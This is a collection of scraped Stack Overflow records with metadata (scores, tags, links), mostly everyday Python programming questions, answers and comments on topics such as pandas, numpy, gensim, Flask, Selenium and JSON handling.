has body: I have created a python script with 4 functions called: create_dir() create_list() create_logic() create_email() I am able to run each script separately with a batch file like below: REM:: Start.bat @echo off c:\python27\python create_dir.py SLEEP 1 c:\python27\python create_list.py SLEEP 1 c:\python27\python create_logic.py SLEEP 1 c:\python27\python create_email.py pause Now I create 1 python script with each previous script as a function. The problem is with the create_logic() function. When I call the scripts from if __name__ == '__main__': the create_logic() function does not create the file non_existing.txt and write to the file. However all the other scripts do their jobs.. Infact it looks like the program just skips the lines telling the script to create the file and write to it. Below is the problem part. non_existing.txt does not get created in the script and i don't know why, any advice or explanations will be greatly appreciated. #print the non matching lines f1=open('non_existing.txt', 'a') f1.write('This ' + nomatch + ' does not exist in the list' +'\n') f1.close() complete script below: import os from fnmatch import fnmatch import sys import datetime import time import smtplib from email.MIMEMultipart import MIMEMultipart from email.MIMEText import MIMEText from email.MIMEBase import MIMEBase from email import encoders def create_dir(): root = 'C:\\Users\\foo\\bar1' pattern = '*.jpg' #print all .jpg to fileX.txt with open('fileX.txt', 'w') as a: for path, subdirs, files in os.walk(root): for filename in files: if fnmatch(filename,pattern): a.write(str(os.path.join(filename)) + '\n') def create_list(): tm = time.strftime('%Y%m%d') now = datetime.datetime.now() file_prefix = 'fileY' #future use... #sys.stdout = open(file_prefix+now.strftime('%Y%m%d-%H%M%S')+'.txt', "w") sys.stdout = open(file_prefix + '.txt', 'w') textprefix = '' textsuffix = '_' + tm counter = 1 #fill in range myRange = range(0,100) for count in myRange: #fill in abount of zeroes print…
has answer: http://stackoverflow.com/a/48765592
tagged with: file
type: Question
has comment: http://stackoverflow.com/comment/84532156
tagged with: python-2.7
score: 0
tagged with: printing
tagged with: windows
answer count: 1

http://stackoverflow.com/a/48739914
score: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48739640
answers question: http://stackoverflow.com/q/48739640
type: AcceptedAnswer
upvote count: 2
type: Answer
has body: You can try this! check if you have a character, (a colon or space or both) that is followed by " and by a \w(character or number). &gt;&gt;&gt; s '{"name": "John", "company": "AB"C corp", "id": "12g: "123 12-12"}' &gt;&gt;&gt; re.sub('\w[: ]*"\w','',s) '{"name": "John", "company": "A corp", "id": "1223 12-12"}'

http://stackoverflow.com/a/48707134
downvote count: 0
score: 4
has comment: http://stackoverflow.com/comment/84413492
has comment: http://stackoverflow.com/comment/84415776
has comment: http://stackoverflow.com/comment/84413758
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84413629
type: Answer
has body: Perhaps something like this? import pyautogui, time while True: if pyautogui.locateOnScreen(image=r'C:\Users\Lawrence\Desktop\PyTest\image.png', region=(666,0, 200, 200), grayscale=True): pyautogui.click(1880,15) time.sleep(0.1) break
accepted answer of: http://stackoverflow.com/q/48706721
answers question: http://stackoverflow.com/q/48706721
upvote count: 4

http://stackoverflow.com/q/48733918
type: UnansweredQuestion
has body: I'm having trouble with the most_similar method in Gensim's Doc2Vec model. When I run most_similar I only get the similarity of the first 10 tagged documents (based on their tags-always from 0-9). For this code I have topn=5, but I've used topn=len(documents) and I still only get the similarity for the first 10 documents Tagged documents: tokenizer = RegexpTokenizer(r'\w+') taggeddoc=[] for index,wod in enumerate(model_data): wordslist=[] tagslist=[] tokens = tokenizer.tokenize(wod) td = TaggedDocument(gensim.utils.to_unicode(str.encode(' '.join(tokens))).split(), str(index)) taggeddoc.append(td) documents=taggeddoc Instantiate the model: model=gensim.models.Doc2Vec(documents, dm=0, dbow_words=1, iter=1, alpha=0.025, min_alpha=0.025, min_count=10) Train the model: for epoch in range(100): if epoch % 10 == 0: print("Training epoch {}".format(epoch)) model.train(documents, total_examples=model.corpus_count, epochs=model.iter) model.alpha -= 0.002 model.min_alpha = model.alpha Problem is here (I think): new = model_data[100].split() new_vector = model.infer_vector(new) sims = model.docvecs.most_similar([new_vector], topn=5) print(sims) Output: [('3', 0.3732905089855194), ('1', 0.36121609807014465), ('7', 0.35790640115737915), ('9', 0.3569292724132538), ('2', 0.3521473705768585)] Length of documents is the same before and after training the model. Not sure why it's only returning similarity for the first 10 documents. Side question: In anyone's experience, is it better to use Word2Vec or Doc2Vec if the input documents are very short (~50 words) and there are >2,000 documents? Thanks for the help!
tagged with: python
tagged with: gensim
tagged with: nlp
has answer: http://stackoverflow.com/a/48739256
has title: Gensim Doc2Vec Most_Similar
type: Question
tagged with: doc2vec
score: 0
tagged with: deep-learning
answer count: 1

http://stackoverflow.com/comment/84508042
comment on: http://stackoverflow.com/a/48753555
score: 0
type: AnswerComment
has text: @unutbu Interesting. So the code above works for me. `module.__file__` would resolve the compiled python file `.pyc`, while in order to open the file and search it, one would rather use the `.py` source file. Also any change would rather occur in the text file, the compiled version would only mirror this.
type: Comment

http://stackoverflow.com/a/48721234
has body: @v10 Odoo Search Orm Method: current_date = fields.Date('Current Date', default=date.today()) list_of_attendance= [ ] attendance_ids = self.env['hr.attendance'].search([]) if attendance_ids: for res in attendance_ids : attendance_create_date = res.create_date get_create_date = attendance_create_date.split(" ") if current_date == get_create_date[0]: list_of_attendance.append(res.id) list_of_attendance will returns search attendance ids of create date which you want to compare only date part. you cannot directly search date wise because create_date is Datetime Field.
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/48699068
score: 1
has comment: http://stackoverflow.com/comment/84519732
downvote count: 0

http://stackoverflow.com/comment/84575066
has text: Not a duplicate, all those examples also use system time, I want to use system uptime like that is is `/proc/uptime`
comment on: http://stackoverflow.com/q/48782104
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/84492798
has text: I create BlockMatrixs:`M1 = BlockMatrix(sc.parallelize(X_user), 3, 2) M2 = BlockMatrix(sc.parallelize(X_products), 3, 2)` and got `TypeError: Cannot convert type <class 'numpy.ndarray'> into a sub-matrix block tuple`
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48742574
type: Comment

http://stackoverflow.com/q/48698223
tagged with: topology
type: Question
tagged with: random
upvote count: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/48698426
favorite count: 0
has title: Creating a randomized circle from points in R/MatLab
tagged with: http://stackoverflow.com/tag/r
has comment: http://stackoverflow.com/comment/84395677
has comment: http://stackoverflow.com/comment/86011169
has comment: http://stackoverflow.com/comment/84395248
tagged with: python
tagged with: matlab
downvote count: 2
has answer: http://stackoverflow.com/a/48698426
type: AnsweredQuestion
has body: I'm doing some research with a professor at my university, and he is asking that I create some data for the purposes of Topological Data Analysis (TDA). I used two packages from R and MatLab, however the authors seem to have a similar idea of how to randomize the data when performing an operation that relates to persistence of Betti points. The issue in R (and MatLab) is that the circle is created with: X &lt;- circleUnif(n=30) This generates a circle with evenly spaced points (30) with equal radius around a central point. To randomize the data, both examples from the author of the packages randomly sample from the data. This leads to an image that looks like this: Alpha Complex What the professor asked is that I make it such that each point has some 'sigma' or deviation away from the radius. This would in essence create a 'fuzzy' ring with some degree of thickness. That way when persistence is performed on the data, the birth/death axes would have a more interesting output. Around 2:30 in this video is an idea of what I'm trying to do: Persistent homology If someone has an idea how to do this in Python, I'm willing to try other languages as well.
score: -2

http://stackoverflow.com/comment/137991830
comment on: http://stackoverflow.com/a/73618632
type: Comment
has text: This was my exact case too. I changed a relation from OneToOne to ForeignKey and forgot to pass many=True when initializing it's nested serializer. Thank you @SayedAshoor
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84461205
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48731027
has text: @AndreyF, thanks both, I will produce a sample data.

http://stackoverflow.com/a/48649444
downvote count: 0
has comment: http://stackoverflow.com/comment/84298848
type: Answer
has body: As a one-line list comprehension: max = 423 intervals = [[x*100+1,x*100+100] for x in range(0,max//100)]+(100*(max//100)+1,max if max%100 else []) intervals &gt;&gt;&gt; [[1, 100], [101, 200], [201, 300], [301, 400], [401, 423]] This is built up from the following components: range(0,max//100) yields a list [0, 1, 2, 3] Each of these items gets added as [x * 100, x * 100+100] to result in [[0, 100], [100, 200], [200, 300], [300, 400]] The first value in each pair needs incrementing by 1. The +1 takes care of that. This leads to a list of whole hundreds only, so the remainder must be added: .. +(100*(max//100)+1, max, which is a short list [401, 423]. (icing on the cake) ... except when max is a round hundreds number, of course. In that case, if expects an else and so I add an empty list [], which does not contribute anything to the result. a. ... and it needs a further if in case this last segment is the only one. Some more results (list comprehension left out for clarity): max = 96 &gt;&gt;&gt; [[1, 96]] max = 100 &gt;&gt;&gt; [[1, 100]] max = 101 &gt;&gt;&gt; [[1, 100], [101, 101]]
accepted answer of: http://stackoverflow.com/q/48648696
upvote count: 1
has comment: http://stackoverflow.com/comment/84300088
has comment: http://stackoverflow.com/comment/84299036
score: 1
has comment: http://stackoverflow.com/comment/84299228
answers question: http://stackoverflow.com/q/48648696
type: AcceptedAnswer

http://stackoverflow.com/comment/84502376
type: QuestionComment
type: Comment
has text: Hmmm... `df.rename_axis({"i":"j"}, axis=0)` is deprecated. Not the method you suggested.
comment on: http://stackoverflow.com/q/48750762
score: 0

http://stackoverflow.com/q/48802297
has comment: http://stackoverflow.com/comment/84607127
type: Question
has comment: http://stackoverflow.com/comment/84607189
answer count: 2
has answer: http://stackoverflow.com/a/48802430
tagged with: data-structures
has comment: http://stackoverflow.com/comment/84608649
linked to: http://stackoverflow.com/q/181543
has comment: http://stackoverflow.com/comment/84607344
tagged with: python
favorite count: 0
has comment: http://stackoverflow.com/comment/84607206
accepted answer: http://stackoverflow.com/a/48802430
has body: In python we can sum a list as: sum(list_of_integers). Now sum is just an operation among two elements with the operator +. What if I want to sum a list with different operator like or, and, xor etc? I could do it manually one by one using a for loop, but there must be a better way.
has answer: http://stackoverflow.com/a/48802964
has title: Sum a List with Different Operator in Python
has comment: http://stackoverflow.com/comment/84607104
score: 6
upvote count: 7
downvote count: 1
has comment: http://stackoverflow.com/comment/84607135
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48802964
tagged with: algorithm
tagged with: sum

http://stackoverflow.com/comment/84461347
has text: It sounds like you're asking for multiplication.
comment on: http://stackoverflow.com/q/48731050
score: 2
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84610203
has text: Can you explain when/why the swap occurs? Your problem isn't as simple as made out to be, and it isn't clear what you want because you didn't post your complete expected output, nor did you explain when and why the swapping is done.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48803036

http://stackoverflow.com/comment/84432774
has text: An explanation for the downvote would be appreciated.
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48715393

http://stackoverflow.com/comment/84304118
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48651121
has text: I've added an example. Hope that helps!
type: AnswerComment

http://stackoverflow.com/q/48665943
has body: I was wondering whether it was possible to format numbers as currency in a easy way, and the following question helped me a lot: Currency Formatting in Python. I did it, and worked fine. But it transformed my data in strings, which is not what I want. Suppose I want to sum all my items in a pd.Series to return a total amount of money: it will return a string concatenation of all my data, not a number. How can I cast my values back to numbers, but with the formatting? Is it possible? Thanks in advance.
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/84330075
linked to: http://stackoverflow.com/q/320929
has title: Currency formatting in Python, but keeping as a number
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48667949
has comment: http://stackoverflow.com/comment/84329915
tagged with: python
has answer: http://stackoverflow.com/a/48666387
has answer: http://stackoverflow.com/a/48666493
tagged with: formatting
type: Question

http://stackoverflow.com/comment/84682313
type: QuestionComment
comment on: http://stackoverflow.com/q/48779331
has text: You can edit it using `after`.
score: 0
type: Comment

http://stackoverflow.com/comment/84506789
type: Comment
score: 0
has text: Without it says: `['', '/usr/lib/python2.7', '/usr/lib/python2.7/plat-arm-linux-gnueabihf', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/home/pi/.local/lib/python2.7/site-packages', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages/gtk-2.0'] `
comment on: http://stackoverflow.com/q/48752469
type: QuestionComment

http://stackoverflow.com/q/48724449
has answer: http://stackoverflow.com/a/48727228
tagged with: numpy
tagged with: iterator
tagged with: matrix
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48724481
accepted answer: http://stackoverflow.com/a/48727228
has body: I am trying to iterate over two numpy matrices, one of size nx3 and the other of size nx1 I'm trying to get nditer to simultaneously iterate over their rows. So if we have: y = np.array([ [ 1], [-1], [ 1] ]) x = np.array([[ 1.3432504 , -1.3311479 , 1. ], [ 1.8205529 , -0.6346681 , 1. ], [ 0.98632067, -1.8885762 , 1. ]]) and i try: for (a,b) in iterator: print(a) print(b) this should give [1] [ 1.3432504 , -1.3311479 , 1. ] [-1] [ 1.8205529 , -0.6346681 , 1. ] [1] [ 0.98632067, -1.8885762 , 1. ] I tried np.nditer with 'external_loop flag', i get the desired output for x but it forces y into bunches of 3 elements when i only want one at a time. Thank you in advance.
type: Question
possible better answer: http://stackoverflow.com/a/48724481
tagged with: python
has comment: http://stackoverflow.com/comment/84452384
has comment: http://stackoverflow.com/comment/84452277
has title: Iterate over two numpy 2d matrices using nditer
score: 0
answer count: 2

http://stackoverflow.com/comment/84607430
type: Comment
type: QuestionComment
score: 1
has text: When you say _"Here is my code I've tried"_ it would help to explain *why did you try it*, that is, what is the purpose of this code.
comment on: http://stackoverflow.com/q/48802427

http://stackoverflow.com/q/48675661
has comment: http://stackoverflow.com/comment/84352407
favorite count: 0
has comment: http://stackoverflow.com/comment/84352438
has answer: http://stackoverflow.com/a/48676024
has title: duplication on combining 2 pandas dataframes
type: UnansweredQuestion
tagged with: python
tagged with: merge
has body: I am trying to understand why merge function is duplicating values. &gt;&gt;&gt; c2.head() Out[42]: Bin Date/Time val A 10/31/2017 15:53:57 0.77 A 10/31/2017 15:53:57 0.75 A 10/31/2017 15:53:57 0.79 A 10/31/2017 15:53:57 0.67 A 10/31/2017 15:53:57 0.72 &gt;&gt;&gt; c1.head() Out[44]: Bin Date/Time code A 10/31/2017 15:53:57 BYM A 10/31/2017 15:53:57 CFS A 10/31/2017 15:53:57 DFZ A 10/31/2017 15:53:57 HKN A 10/31/2017 15:53:57 RBF I need to merge these 2 on Bin and Datetime. &gt;&gt;&gt; c= c1.merge(c2, on =['Bin','Date/Time'], how= 'left') &gt;&gt;&gt; c.head() Out[50]: Bin Date/Time Code Val A 10/31/2017 15:53:57 BYM 0.77 A 10/31/2017 15:53:57 BYM 0.77 A 10/31/2017 15:53:57 BYM 0.77 A 10/31/2017 15:53:57 BYM 0.77 A 10/31/2017 15:53:57 BYM 0.77 So c has multiple entries for the same bin/datetime. I thought that maybe the datetime values look the same but are different. But that's not the case. &gt;&gt;&gt; c1['Date/Time'].iloc[0] Out[46]: u'10/31/2017 15:53:57' &gt;&gt;&gt; c2['Date/Time'].iloc[0] Out[47]: u'10/31/2017 15:53:57' &gt;&gt;&gt; c1['Date/Time'].iloc[0]==c2['Date/Time'].iloc[0] Out[48]: True In addition, even if datetime was different, there should be only 2 lines for each bin/datetime. Any idea what might be happening here? My intended output is: Bin Date/Time Code Val A 10/31/2017 15:53:57 BYM 0.77 A 10/31/2017 15:53:57 CFS 0.75 A 10/31/2017 15:53:57 DFZ 0.79 A 10/31/2017 15:53:57 HKN 0.67 A 10/31/2017 15:53:57 RBF 0.72
score: 1
tagged with: duplicates
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84350548
tagged with: dataframe
has comment: http://stackoverflow.com/comment/84368374
answer count: 2
has answer: http://stackoverflow.com/a/48677225
tagged with: pandas
downvote count: 0

http://stackoverflow.com/q/48791465
favorite count: 0
upvote count: 2
tagged with: tinydb
has answer: http://stackoverflow.com/a/75718613
type: AnsweredQuestion
score: 2
has body: I have JSON file having following structure { "type":[ "apple-shimle", "king" ], "json-object":{ "test":"hi" } } How to search for test == "hi" using TinyDB python only. Iam able to fetch "json-object" using search() but not "test".
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/84585130
type: Question
accepted answer: http://stackoverflow.com/a/75718613
downvote count: 0
has title: Is it possible to query nested json object using TinyDB
has comment: http://stackoverflow.com/comment/84586797
answer count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/84658351

http://stackoverflow.com/q/48657784
downvote count: 0
favorite count: 0
tagged with: python
answer count: 0
type: UnansweredQuestion
upvote count: 1
type: Question
has title: Post webhook: 502 Bad Gateway Error in python
score: 1
tagged with: post
has body: import urllib import json import os from flask import Flask from flask import request from flask import make_response app = Flask(__name__) print("after Flask") @app.route("/webhook", methods=['POST']) def webhook(): print("inside webhook definition") req = request.get_json(silent=True, force=True) print("Request:") print(json.dumps(req, indent=4)) res = makeWebhookResult(req) res = json.dumps(res, indent=4) print(res) r = make_response(res) r.headers['Content-Type'] = 'application/json' return r def makeWebhookResult(req): print("before if") if req.get("result").get("action") != "pizzatop": print("inside if") return () result = req.get("result") print("outside if") parameters = result.get("parameters") top = parameters.get("Toppings") cast = {'Cheese': 'Available', 'Onion': 'Available', 'mushroom': 'Not Available'} speech = "the " + top + "pizza is:" + str(cast[top]) print("Response") print(speech) return { "speech": speech, "displayText": speech, "source": "MyPizzaBot" } if __name__ == '__main__': port = int(os.getenv('PORT', 80)) print("Starting app on port %d" % (port)) app.run(debug=True, port=port, host='192.168.100.1') This is my code. When I run the python shows no error but the ngrok shows POST/webhook 404 not found. I have tried quite a few solutions but to no luck. Anyone can help me with what I am missing out on?

http://stackoverflow.com/comment/84501814
type: Comment
has text: @locodev123 You just have to create index once. Don't bother about it after that. You can insert then normally
comment on: http://stackoverflow.com/a/48719044
type: AnswerComment
score: 0

http://stackoverflow.com/q/48686258
has comment: http://stackoverflow.com/comment/84370289
has comment: http://stackoverflow.com/comment/84370147
downvote count: 2
has answer: http://stackoverflow.com/a/48688276
tagged with: python
has comment: http://stackoverflow.com/comment/84371843
type: AnsweredQuestion
has body: in Python, I read in some arrays with json.load. z = pd.DataFrame() with open('path/file.json') as f: data = json.load(f) for x in data['y']: z = z.append(pd.DataFrame(x)) However, when I compare read-in numbers in the pandas dataframe z with original one numbers (json file and upstream workflow), I see, that the original full precision numbers where cut to the 6th digit und also converted to exponential format, where applicable. This is leading to wrong results in my downstream processing How can I preserve full precision format with json.load?
has comment: http://stackoverflow.com/comment/84370824
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/84370567
has comment: http://stackoverflow.com/comment/84369965
type: Question
upvote count: 0
score: -2
accepted answer: http://stackoverflow.com/a/48688276
favorite count: 0
has comment: http://stackoverflow.com/comment/84370152
has title: Keep full precision with json.load
answer count: 1
has comment: http://stackoverflow.com/comment/84371344

http://stackoverflow.com/comment/139615828
score: 0
type: Comment
has text: You didn't indicate a try block, you only indicatd "Simply return float(s) >= 0". Sorry I misinterpreted that. As for multiple returns, that [really isn't a big deal](https://stackoverflow.com/a/733858/17030540) when used in a small function like this. It's a bigger problem in long functions where you have random returns in the middle of the code and can't see the whole function all at once.
comment on: http://stackoverflow.com/a/48677124
type: AnswerComment

http://stackoverflow.com/a/48735371
score: 1
upvote count: 1
has body: Given df: In [83]: df Out[83]: Subject Student ID 0 Math 304 1 Math 506 2 History 304 3 History 402 4 English 506 5 English 402 Create a column number using groupby/cumcount. This numbers the elements in each group starting at 0: In [84]: df['col'] = df.groupby('Student ID').cumcount() In [85]: df Out[85]: Subject Student ID col 0 Math 304 0 1 Math 506 0 2 History 304 1 3 History 402 0 4 English 506 1 5 English 402 1 Then you can pivot: In [91]: result = df.pivot(index='Student ID', columns='col', values='Subject') In [92]: result.columns = 'Student' + (result.columns+1).astype(str) In [93]: result Out[93]: Student1 Student2 Student ID 304 Math History 402 History English 506 Math English Or, as cmaher points out, the same could be accomplished more tidily using add_prefix: import pandas as pd df = pd.DataFrame({ 'Student ID': [304, 506, 304, 402, 506, 402], 'Subject': ['Math', 'Math', 'History', 'History', 'English', 'English']}) df['col'] = df.groupby('Student ID').cumcount()+1 result = df.pivot(index='Student ID', columns='col', values='Subject') result = result.add_prefix('Subject') print(result) yields the same result as above.
has comment: http://stackoverflow.com/comment/84470238
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48735310
has comment: http://stackoverflow.com/comment/84470417
answers question: http://stackoverflow.com/q/48735310

http://stackoverflow.com/q/48790750
has body: Matplotlib does not respond to key presses while embedded in PyQt5. I have verified that key presses work with Tkinter. This is my first PyQt5 experience. I am not sure what I'm doing wrong here. I have tried to set the focus on canvas by doing. All this is to display 3D volumetric data, which you can think of as a stack of images. Together, they describe a 3D structure. For example, magnetic resonance imaging (MRI) self.canvas.setFocusPolicy( QtCore.Qt.ClickFocus ) self.canvas.setFocus() however that returns an error: self.canvas.setFocusPolicy(QtCore.Qt.ClickFocus) AttributeError: 'InputCanvas' object has no attribute 'canvas' This is the code I have: import sys from PyQt5 import QtCore from skimage import io from PyQt5.QtWidgets import QMainWindow, QSizePolicy from matplotlib.figure import Figure import matplotlib.pyplot as plt from PyQt5.QtWidgets import QApplication from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas class App(QMainWindow): def __init__(self): super().__init__() self.left = 10 self.top = 10 self.title = 'PYQT' self.width = 600 self.height = 400 self.initialize_ui() def initialize_ui(self): self.setWindowTitle(self.title) self.setGeometry(self.left, self.top, self.width, self.height) m = InputCanvas(self, width=3, height=3) m.move(200, 20) self.show() class InputCanvas(FigureCanvas): def __init__(self, parent=None, width=5, height=4, dpi=100): fig = Figure(figsize=(width, height), dpi=dpi) FigureCanvas.__init__(self, fig) self.setParent(parent) FigureCanvas.setSizePolicy(self, QSizePolicy.Expanding, QSizePolicy.Expanding) FigureCanvas.updateGeometry(self) self.canvas.setFocusPolicy(QtCore.Qt.ClickFocus) self.canvas.setFocus() fig.canvas.mpl_connect('key_press_event', self.process_key) self.input_plot() def input_plot(self): volume = io.imread("14.mha", plugin='simpleitk') ax = self.figure.add_subplot(111) ax.volume = volume ax.index = volume.shape[0] // 2 ax.set_title('Ground Truth Image') plt.set_cmap("gray") plt.ax…
type: Question
tagged with: keyevent
tagged with: matplotlib
score: 0
has answer: http://stackoverflow.com/a/48798660
accepted answer: http://stackoverflow.com/a/48798660
answer count: 1
has title: pyQt5 matplotlib on key press image slices
tagged with: python-3.x
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/comment/84406346
score: 2
comment on: http://stackoverflow.com/q/48704010
has text: Python indexing starts from `0`. `range(1, N - 1)` starts from `1`.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48794873
score: 1
upvote count: 1
has body: You are defining counter outside of the scope of the class so when the method is run it is as if it doesn't exist. You should change your counter usage by removing its initial declaration at the top and then in the init function, you should put self.counter = 0 Then in the counter command function you can use self.counter = self.counter + 1 You will then be able to access the variable outside of the class by referencing it from what you assign to k, like this: k = HomeClass(root) print(k.counter)
type: Answer
answers question: http://stackoverflow.com/q/48794669
downvote count: 0

http://stackoverflow.com/q/48673275
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
accepted answer: http://stackoverflow.com/a/48673347
type: Question
tagged with: arrays
score: 0
has title: Update arrays in json object
has body: Tried to update the array in json object. Here is my json object { "api.version": "v1", "source": { "thirdPartyRef": { "resources": [{ "serviceType": "AwsElbBucket", "path": { "pathExpression": "songs/*" }, "authentication": { "type": "S3BucketAuthentication" } }] } } } Code that reads json and update awsId. My requirement is to add aws creds int the authentication secition. Once program run successfully, it should look like "authentication": { "type": "S3BucketAuthentication", "awsId": "AKIAXXXXX", "awsKey": "MYHSHSYjusXXX" } Here is my snippet of code args[5] is the jsonfile with open(args[5]) as json_data: source = json.loads(json_data.read()) # source['source']['category']['awsID'] = "test" source.update( {"awsId" : "AKIAXXXXX", "awsKey": "HHSJSHS"}) print source output: {u'api.version': u'v1', 'awsKey': 'HHSJSHS', 'awsId': 'AKIAXXXXX', u'source': {u'thirdPartyRef': {u'resources': [{u'path': {u'pathExpression': u'songs/*'}, u'serviceType': u'AwsElbBucket', u'authentication': {u'type': u'S3BucketAuthentication'}}]}}} I tried to source.update( "source":{"awsId" : "AKIAXXXXX", "awsKey": "HHSJSHS"}}), it overwrites the rest of the json.
answer count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48673347

http://stackoverflow.com/a/48711885
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48709825
answers question: http://stackoverflow.com/q/48709825
has body: Edit: I did figure this out eventually. Turns out the government does not collect more tax than income, except for special people. Thanks everyone for your help! levels = 6 rates2017 = [0, 10, 15, 25, 28, 33, 35] rates2018 = [] incomes2017 = [0, 9325, 37950, 91900, 191650, 416700, 418400] netincome = int(input('Please input an integer for income: ')) tax_owed = 0 taxable_income = 0 standard_deduction = 6500 netincomeleft = netincome - standard_deduction i = 0 while levels &gt;= 0 and taxable_income &gt;=0 and netincomeleft &gt;= 0: if (netincomeleft - incomes2017[i]) &lt; 0: taxable_income = netincome - incomes2017[i-1] - standard_deduction else: taxable_income = netincomeleft - incomes2017[i] tax_owed += (taxable_income * (rates2017[i]/100)) netincomeleft = netincomeleft - incomes2017[i] i += 1 levels -= 1 taxes_owed = tax_owed print('tax owed on $', netincome, 'after standard deduction is ', taxes_owed)
type: Answer
score: 0

http://stackoverflow.com/comment/84344146
has text: @JacquesdeHooge, ...however, f-strings would not be a good choice here, as they would be expanded *before* the `log.info()` call has the chance to check if we're actually at INFO-level logging or not.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48671699

http://stackoverflow.com/comment/84591060
score: 0
has text: You should show what you've tried. Where is your database query? What value are you trying to substitute?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48794316

http://stackoverflow.com/comment/84322284
type: Comment
has text: you can use `reverse=True` parameter, although I'm not sure this is exactly what you want.
type: AnswerComment
comment on: http://stackoverflow.com/a/48662480
score: 0

http://stackoverflow.com/comment/84377377
score: 0
has text: so what is your question exactly?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48687204

http://stackoverflow.com/a/48739426
answers question: http://stackoverflow.com/q/48731124
downvote count: 0
score: 4
type: AcceptedAnswer
upvote count: 4
type: Answer
has body: Even if you will install gpu version !pip install tensorflow-gpu==1.5.0 it will still fail to import it because of the cuda libraries. Currently I have not found a way to use 1.5 version with GPU. So I would rather use 1.4.1 with gpu than 1.5 without gpu. You can send them a feedback ( Home - Send Feedback ) and hopefully if enough people will send something similar, they will update the new gpu version.
has comment: http://stackoverflow.com/comment/84519987
accepted answer of: http://stackoverflow.com/q/48731124

http://stackoverflow.com/a/48780446
downvote count: 0
has body: You are seeing scientific notation. 8.888e+2 means 8.888x102. You need to use the String Formatting Mini-Language if you don't like the defaults. Python has gone through some gyrations with formatting. Here are some options: &gt;&gt;&gt; value = .000008888 &gt;&gt;&gt; value # default display of small number 8.888e-06 &gt;&gt;&gt; print('%.8f' % value) # old, deprecated format. 0.00000889 &gt;&gt;&gt; print('{:.8f}'.format(value)) # newer format. 0.00000889 &gt;&gt;&gt; print(f'{value:.8f}') # newest format in Python 3.6. 0.00000889 Note that .8f means "8 places after decimal, fixed floating point". More information: Old string formatting str.format f-strings Per your comment, you could format a string in scientific notation with: &gt;&gt;&gt; pulsar = '8.888e+2' &gt;&gt;&gt; f'PLSR Price: {float(pulsar):.2f}' 'PLSR Price: 888.80'
has comment: http://stackoverflow.com/comment/84562696
answers question: http://stackoverflow.com/q/48780225
type: Answer
has comment: http://stackoverflow.com/comment/84562794
upvote count: 3
has comment: http://stackoverflow.com/comment/84562662
score: 3
has comment: http://stackoverflow.com/comment/84562948

http://stackoverflow.com/comment/84313710
type: QuestionComment
has text: @francisaugusto, Hi thanks for your inputs, I want the matrix theta_g to be of the same shape as c_g. Also each element of theta_g should be list. The main problem I face is in assigning a list to each element of theta_g.
comment on: http://stackoverflow.com/q/48657821
score: 0
type: Comment

http://stackoverflow.com/q/48794637
tagged with: python
has answer: http://stackoverflow.com/a/48799388
has comment: http://stackoverflow.com/comment/84596799
score: 0
answer count: 2
tagged with: selenium
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49059196
has body: So I have Python 2.7.10. I have Selenium 3.5.9. I have the current version of PyCharm and I set up the local interpreter. I am trying to run a unitest on my company's website and I am getting back: Ran 0 tests in 0.000s OK This is my code: from selenium import webdriver from selenium.webdriver.support.ui import WebDriverWait import unittest class LoginTest(unittest.TestCase): def setUp(self): self.driver = webdriver.Chrome() self.driver.get("https://www.rosoka.com/") def test_Login(self): driver = self.driver rosokaUsername = "*****@rosoka.com" rosokaPassword = "******" loginFieldID = "edit-name" passFieldID = "edit-pass" loginButtonXpath = "//input[@value ='Log in']" loginFieldElement = WebDriverWait(driver, 10).until(lambda driver: find_element_by_id(loginFieldID)) passFieldElement = WebDriverWait(driver, 10).until(lambda driver: find_element_by_id(passFieldID)) loginButtonElement = WebDriverWait(driver, 10).until(lambda driver: find_element_by_xpath(loginButtonXpath)) loginFieldElement.clear() loginFieldElement.send_keys(rosokaUsername) passFieldElement.clear() passFieldElement.send_keys(rosokapassword) loginButtonElement.click() def tearDown(self): self.driver.quit() if __name__ == '__main__': unittest.main() Can someone help?
has title: First time running PyCharm ChromeDriver test
has comment: http://stackoverflow.com/comment/85146689
type: Question

http://stackoverflow.com/comment/84359279
score: 0
type: Comment
has text: my main problem was writing it to a file
type: AnswerComment
comment on: http://stackoverflow.com/a/48681130

http://stackoverflow.com/a/66935478
score: 0
has body: To add Tags (m2m field) to the model, first save the model and then add tags to the model self.tour.tags.add([tag names])
answers question: http://stackoverflow.com/q/48706447
type: Answer

http://stackoverflow.com/comment/84328840
has text: I edit answer, thank you for comment. If something unclear, give me know.
comment on: http://stackoverflow.com/a/48665112
type: AnswerComment
score: 0
type: Comment

